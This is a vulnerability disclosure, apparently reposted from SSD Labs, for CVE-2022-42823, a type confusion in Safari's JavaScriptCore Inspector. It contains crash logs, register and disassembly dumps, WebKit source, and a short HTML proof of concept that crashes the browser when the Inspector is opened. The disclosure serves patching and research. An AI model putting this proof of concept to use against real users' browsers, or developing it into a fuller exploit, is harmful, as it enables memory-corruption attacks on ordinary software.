Summary
A Type confusion vulnerability exists in the Apple Safari JSC Inspector. This issue causes Memory Corruption due to Type confusion. A victim must open an arbitrary generated HTML file to trigger this vulnerability.
Credit
Dohyun Lee (@l33d0hyun) of SSD Labs
CVE
CVE-2022-42823
Vendor Response
The issue received CVE-2022-42823 and was credited on our advisories at:
- https://support.apple.com/HT213488
- https://support.apple.com/HT213492
- https://support.apple.com/HT213489
- https://support.apple.com/HT213495
- https://support.apple.com/HT213491
Test environment
- Apple Silicon M1 Processor
- macOS Monterey 12.5(21G72)
- Apple Safari 15.6(17613.3.9.1.5)
Root Cause Analysis
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9c7980019f2cc1d0)
Note: Possible pointer authentication failure detected.
Found value that failed to authenticate at address=0x19f2cc1d0.
frame #0: 0x00000001b796e9d0 JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
JavaScriptCore`WTFCrashWithInfo:
-> 0x1b796e9d0 <+20>: brk #0xc471
0x1b796e9d4 <+24>: brk #0x1
JavaScriptCore`WTF::AutomaticThread::threadDidStart:
0x1b796e9d8 <+0>: ret
JavaScriptCore`WTF::AutomaticThread::threadIsStopping:
0x1b796e9dc <+0>: ret
Target 0: (com.apple.WebKit.WebContent) stopped.
(lldb) reg read
General Purpose Registers:
x0 = 0x00000000000000ce
x1 = 0x00000001b8c3cef5 "./inspector/InjectedScriptManager.cpp"
x2 = 0x00000001b8c3cf1b "Inspector::InjectedScript Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject *)"
x3 = 0x00000000000000e5
x4 = 0xffffffffca2eb078
x5 = 0x0000000000000008
x6 = 0x000000000000000a
x7 = 0x0000000000000001
x8 = 0x0000000000000001
x9 = 0x0000000000000000
x10 = 0x00000021a0e33805
x11 = 0x0000000000000001
x12 = 0x0000000000000001
x13 = 0x8000000008041000
x14 = 0x0000000106360138
x15 = 0x0000007ff0000000
x16 = 0x9c7980019f2cc1d0 (0x000000019f2cc1d0) libsystem_kernel.dylib`mach_approximate_time
x17 = 0x00000001fa6c2ae8 (void *)0x9c7980019f2cc1d0
x18 = 0x0000000000000000
x19 = 0x000000010d0719c0
x20 = 0x0000000135413000
x21 = 0x00000001350c5a68
x22 = 0x0000000000000001
x23 = 0x000000010d072a40
x24 = 0x00000001b8b9a110 JavaScriptCore`InjectedScriptSource_js
x25 = 0x0000000000000000
x26 = 0x0000000000000010
x27 = 0x000000010d024e20
x28 = 0x0000000000000000
fp = 0x000000016b131340
lr = 0x00000001b8352574 JavaScriptCore`Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject*) + 2872
sp = 0x000000016b131250
pc = 0x00000001b796e9d0 JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
cpsr = 0x80001000
If you attach lldb and check the log immediately after the crash occurs, you can confirm that a failure occurred in the PAC verification
WebCore::PageRuntimeAgent::notifyContextCreated(WTF::String const&, JSC::JSGlobalObject*, WebCore::DOMWrapperWorld const&, WebCore::SecurityOrigin*) + 64 WebCoreWebCore::PageRuntimeAgent::notifyContextCreated:
0x1bc68fb64 <+0>: pacibsp
0x1bc68fb68 <+4>: sub sp, sp, #0xa0
0x1bc68fb6c <+8>: stp x24, x23, [sp, #0x60]
0x1bc68fb70 <+12>: stp x22, x21, [sp, #0x70]
0x1bc68fb74 <+16>: stp x20, x19, [sp, #0x80]
0x1bc68fb78 <+20>: stp x29, x30, [sp, #0x90]
0x1bc68fb7c <+24>: add x29, sp, #0x90
0x1bc68fb80 <+28>: mov x19, x4
0x1bc68fb84 <+32>: mov x22, x3
0x1bc68fb88 <+36>: mov x21, x2
0x1bc68fb8c <+40>: mov x20, x1
0x1bc68fb90 <+44>: mov x23, x0
0x1bc68fb94 <+48>: ldr x0, [x0, #0x18]
0x1bc68fb98 <+52>: add x8, sp, #0x8
0x1bc68fb9c <+56>: mov x1, x2
0x1bc68fba0 <+60>: bl 0x1bd0a84c0 ; symbol stub for: Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject*)
=> 0x1bc68fba4 <+64>: ldr x8, [sp, #0x18]
0x1bc68fba8 <+68>: cbz x8, 0x1bc68ff70 ; <+1036>
0x1bc68fbac <+72>: ldr x8, [x8]
0x1bc68fbb0 <+76>: cbz x8, 0x1bc68ff70 ; <+1036>
0x1bc68fbb4 <+80>: ldr x8, [x22, #0x20]
0x1bc68fbb8 <+84>: str x8, [sp]
0x1bc68fbbc <+88>: cbz x8, 0x1bc69014c ; <+1512>
0x1bc68fbc0 <+92>: ldp w9, w10, [x8]
0x1bc68fbc4 <+96>: add w9, w9, #0x2
You can see the above assembly calling the Inspector::InjectedScriptManager::injectedScriptFor function.
Inspector::InjectedScriptManager:: (JSC::JSGlobalObject*) + 2872
0x1b835255c <+2848>: add x1, x1, #0xef5 ; "./inspector/InjectedScriptManager.cpp"
0x1b8352560 <+2852>: adrp x2, 2282
0x1b8352564 <+2856>: add x2, x2, #0xf1b ; "Inspector::InjectedScript Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject *)"
0x1b8352568 <+2860>: mov w0, #0xce
0x1b835256c <+2864>: mov w3, #0xe5
0x1b8352570 <+2868>: bl 0x1b796e9bc ; WTFCrashWithInfo(int, char const*, char const*, int)
=> 0x1b8352574 <+2872>: add x8, sp, #0x60
0x1b8352578 <+2876>: add x0, sp, #0x58
0x1b835257c <+2880>: mov x1, x21
0x1b8352580 <+2884>: bl 0x1b87529a4 ; JSC::JSValue::toWTFStringSlowCase(JSC::JSGlobalObject*) const
0x1b8352584 <+2888>: add x8, sp, #0x30
0x1b8352588 <+2892>: add x0, sp, #0x60
InjectedScript InjectedScriptManager::injectedScriptFor(JSGlobalObject* globalObject)
{
auto it = m_scriptStateToId.find(globalObject);
if (it != m_scriptStateToId.end()) {
auto it1 = m_idToInjectedScript.find(it->value);
if (it1 != m_idToInjectedScript.end())
return it1->value;
}
if (!m_environment.canAccessInspectedScriptState(globalObject))
return InjectedScript();
int id = injectedScriptIdFor(globalObject);
auto createResult = createInjectedScript(globalObject, id);
if (!createResult) {
auto& error = createResult.error();
ASSERT(error);
if (globalObject->vm().isTerminationException(error))
return InjectedScript();
unsigned line = 0;
unsigned column = 0;
auto& stack = error->stack();
if (stack.size() > 0)
stack[0].computeLineAndColumn(line, column);
WTFLogAlways("Error when creating injected script: %s (%d:%d)\n", error->value().toWTFString(globalObject).utf8().data(), line, column);
RELEASE_ASSERT_NOT_REACHED();
}
if (!createResult.value()) { // hit point
WTFLogAlways("Missing injected script object");
RELEASE_ASSERT_NOT_REACHED();
}
InjectedScript result({ globalObject, createResult.value() }, &m_environment);
m_idToInjectedScript.set(id, result);
didCreateInjectedScript(result);
return result;
}
https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/inspector/InjectedScriptManager.cpp#L195
– Crashed on Inspector::InjectedScriptManager::injectedScriptFor + 2872. This indicates a problem with the globalObject pointer.
– Invalid globalObject pointer is obtained and Safari PAC Exception during the verification step.
Reproduce
- Download the attached file.
- open poc.html (sent as poc.txt) on Apple Safari.
- open Inspector.
PoC
<script>
let object = {};
Object.prototype.__defineSetter__('type', function() {
object.x = {};
object[0] = object.x;
});
</script>
原文始发于l33d0hyun:APPLE SAFARI JAVASCRIPTCORE INSPECTOR TYPE CONFUSION
转载请注明:APPLE SAFARI JAVASCRIPTCORE INSPECTOR TYPE CONFUSION | CTF导航